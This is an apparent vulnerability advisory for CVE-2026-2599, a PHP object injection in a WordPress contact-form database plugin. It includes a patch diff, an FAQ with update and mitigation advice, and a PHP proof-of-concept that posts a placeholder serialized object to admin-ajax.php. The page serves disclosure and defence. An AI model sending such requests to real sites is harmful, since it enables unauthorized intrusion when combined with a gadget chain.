Atomic Edge analysis of CVE-2026-2599:
The root cause is insecure deserialization in the plugin’s CSV export functionality. The vulnerable function `download_csv` processes user-supplied data through `maybe_unserialize()` without validation. Attackers can trigger this via the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` by sending a POST request with the `action` parameter set to `vxcf_download_csv`. The exploit payload is delivered through the `data` parameter, which contains serialized PHP objects. The plugin passes this data directly to `maybe_unserialize()` at line 3017 in `contact-form-entries.php`. The patch replaces the direct call to `maybe_unserialize()` with a custom wrapper method `vxcf_form::maybe_unserialize()`. This wrapper likely implements validation or restricts deserialization. The vulnerability requires a separate POP chain in another plugin or theme to achieve impact. With a suitable POP chain, attackers could execute arbitrary code, delete files, or exfiltrate data. The CVSS 9.8 score reflects the network-accessible, unauthenticated attack vector with high impact potential when chained.
CVE-2026-2599: Database for Contact Form 7, WPforms, Elementor forms <= 1.4.7 – Unauthenticated PHP Object Injection via 'download_csv' (contact-form-entries)
CVE-2026-2599
contact-form-entries
1.4.7
1.4.8
Analysis Overview
Differential between vulnerable and patched code
--- a/contact-form-entries/contact-form-entries.php
+++ b/contact-form-entries/contact-form-entries.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Contact Form Entries
* Description: Save form submissions to the database from <a href="https://wordpress.org/plugins/contact-form-7/">Contact Form 7</a>, <a href="https://wordpress.org/plugins/ninja-forms/">Ninja Forms</a>, <a href="https://elementor.com/widgets/form-widget/">Elementor Forms</a> and <a href="https://wordpress.org/plugins/wpforms-lite/">WP Forms</a>.
-* Version: 1.4.7
+* Version: 1.4.8
* Requires at least: 3.8
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/crm-perks-forms/
@@ -25,7 +25,7 @@
public static $type = "vxcf_form";
public static $path = '';
- public static $version = '1.4.7';
+ public static $version = '1.4.8';
public static $upload_folder = 'crm_perks_uploads';
public static $db_version='';
public static $base_url='';
@@ -3014,7 +3014,7 @@
foreach($fields as $k=>$field){
$val='';
if(isset($field['name']) && isset($row[$field['name'].'_field'])){
- $val=maybe_unserialize($row[$field['name'].'_field']);
+ $val=vxcf_form::maybe_unserialize($row[$field['name'].'_field']);
}
if(isset($extra_keys[$k]) && isset($lead_row[$extra_keys[$k]])){
if($k == 'vxbrowser'){
--- a/contact-form-entries/templates/leads.php
+++ b/contact-form-entries/templates/leads.php
@@ -473,7 +473,10 @@
$value.=vxcf_form::file_link($val);
}
$field_label=$value;
- }
+ }
+ if(is_array($field_label)){
+ $field_label=implode(', ',$field_label);
+}
}else{
if(is_array($field_label)){
$field_label=implode(', ',$field_label);Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2599 - Database for Contact Form 7, WPforms, Elementor forms <= 1.4.7 - Unauthenticated PHP Object Injection via 'download_csv'
<?php
$target_url = 'http://target.site/wp-admin/admin-ajax.php';
// This payload requires a POP chain present in another plugin/theme.
// Replace with a valid serialized object from a discovered POP chain.
$malicious_object = 'O:8:"Example":1:{s:4:"data";s:12:"test payload";}';
$post_fields = [
'action' => 'vxcf_download_csv',
'data' => $malicious_object
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
?>Frequently Asked Questions
What is CVE-2026-2599?
Description of the vulnerabilityCVE-2026-2599 is a critical vulnerability in the Database for Contact Form 7, WPforms, and Elementor forms plugin for WordPress, affecting versions up to 1.4.7. It allows unauthenticated attackers to exploit insecure deserialization in the ‘download_csv’ function, potentially leading to PHP Object Injection.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from the plugin’s handling of user-supplied data in the ‘download_csv’ function, where it calls ‘maybe_unserialize()’ without proper validation. An attacker can send a specially crafted POST request to the WordPress AJAX endpoint to inject a malicious serialized PHP object.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Database for Contact Form 7, WPforms, or Elementor forms plugin version 1.4.7 or earlier is vulnerable. Administrators should check their installed plugins and update to version 1.4.8 or later to mitigate the risk.
How can I check if my site is vulnerable?
Steps for verificationTo determine if your site is vulnerable, check the version of the Database for Contact Form 7, WPforms, or Elementor forms plugin installed on your WordPress site. If it is version 1.4.7 or earlier, it is vulnerable and should be updated immediately.
What is the severity of this vulnerability?
Understanding the CVSS scoreCVE-2026-2599 has a CVSS score of 9.8, indicating a critical severity level. This score reflects the potential for unauthenticated remote exploitation and the high impact it could have if a suitable PHP Object Injection chain is present.
How can I fix or mitigate this issue?
Recommended actionsTo fix this vulnerability, update the Database for Contact Form 7, WPforms, or Elementor forms plugin to version 1.4.8 or later, where the issue has been patched. Regularly updating plugins and monitoring for vulnerabilities is essential for maintaining site security.
What does a CVSS score of 9.8 imply in practical terms?
Real-world impact assessmentA CVSS score of 9.8 indicates that this vulnerability is highly exploitable and can lead to severe consequences, such as unauthorized code execution or data breaches, if exploited in conjunction with other vulnerabilities on the site.
What is a PHP Object Injection (POI) vulnerability?
Technical definitionPHP Object Injection vulnerabilities occur when untrusted data is deserialized into PHP objects without proper validation. This can lead to arbitrary code execution, data manipulation, or other malicious actions if a suitable payload is injected.
What is a Proof of Concept (PoC) in this context?
Understanding the demonstrationThe Proof of Concept provided for CVE-2026-2599 illustrates how an attacker could exploit the vulnerability by sending a crafted serialized object to the vulnerable ‘download_csv’ function. It serves as a demonstration of the vulnerability’s potential impact when a suitable POP chain is present.
What is a POP chain and why is it relevant?
Explaining the conceptA POP chain, or Property-Oriented Programming chain, is a sequence of operations that can be exploited to achieve arbitrary code execution through a series of object manipulations. In the context of CVE-2026-2599, the presence of a POP chain in another plugin or theme is necessary for the vulnerability to be exploited effectively.
How can I protect my WordPress site from similar vulnerabilities?
Best practices for securityTo protect your WordPress site from vulnerabilities like CVE-2026-2599, ensure that all plugins and themes are regularly updated, utilize security plugins to monitor for vulnerabilities, and conduct regular security audits. Additionally, limit the use of untrusted plugins and themes.
What should I do if I cannot update the plugin immediately?
Interim measuresIf immediate updates are not possible, consider disabling the vulnerable plugin until it can be updated. Monitor your site for any suspicious activity and implement additional security measures, such as web application firewalls, to help mitigate potential risks.
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